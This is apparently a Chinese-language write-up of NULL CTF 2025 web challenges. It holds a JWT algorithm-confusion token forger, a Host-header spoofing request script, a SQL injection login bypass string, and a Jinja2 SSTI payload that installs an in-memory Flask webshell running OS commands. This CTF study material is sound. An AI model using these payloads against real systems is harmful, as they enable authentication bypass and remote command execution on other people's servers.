NULL CTF 2025

Next Jason

漏洞代码：

允许用对称加密 HMAC，还允许我们获取 publicKey，直接一把锁，伪造 admin 的 jwt 拿到 flag。

def forge_token(public_key):
    header = {"alg": "HS256", "typ": "JWT"}
    payload = {"username": "admin"}
    
    header_enc = base64url_encode(json.dumps(header, separators=(',', ':')))
    payload_enc = base64url_encode(json.dumps(payload, separators=(',', ':')))
    
    msg = f"{header_enc}.{payload_enc}"
    
    secret = public_key.encode('utf-8')
    
    signature = hmac.new(secret, msg.encode('utf-8'), hashlib.sha256).digest()
    sig_enc = base64url_encode(signature)
    
    token = f"{msg}.{sig_enc}"
    return token

Codename Neigh

尝试构造请求：

1	curl.exe -v -H "Host: 127.0.0.1" "http://public.ctf.r0devnull.team:3002/flag?q"

Codename Neigh 2

import socket

def send_request():
    host = "public.ctf.r0devnull.team"
    port = 3003
    
    # We want to send a request to //flag
    # And Host header: 127.0.0.1
    
    request = (
        "GET http://public.ctf.r0devnull.team:3003/flag HTTP/1.1\r\n"
        "Host: 127.0.0.1\r\n"
        "Connection: close\r\n"
        "\r\n"
    )
    
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.sendall(request.encode())
        
        response = b""
        while True:
            data = s.recv(4096)
            if not data:
                break
            response += data
            
        s.close()
        print(response.decode(errors='replace'))
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    send_request()

用绝对路径配合 HOST 伪造，绕过并拿到flag。

s1mple

任何一个用户万能密码都能进去 '+or+1=1+--+。

进管理员的看看：

无法渲染，用 zebra 进来也是 admin，。都到这了肯定就是 ssti 没跑了。

扫个目录：

扫到 /page 可以 SSTI：

打入内存马：

{{lipsum.__globals__.__builtins__.eval('[ __import__(\'time\').sleep(3) for flask in [__import__("flask")] for app in __import__("gc").get_objects() if type(app) == flask.Flask for jinja_globals in [app.jinja_env.globals] for zzz in [ lambda : __import__(\'os\').popen(jinja_globals["request"].args.get("cmd", "id")).read() ] if [ app.__dict__.update({\'_got_first_request\':False}), app.add_url_rule("/zzz", endpoint="zzz", view_func=zzz) ] ]')}}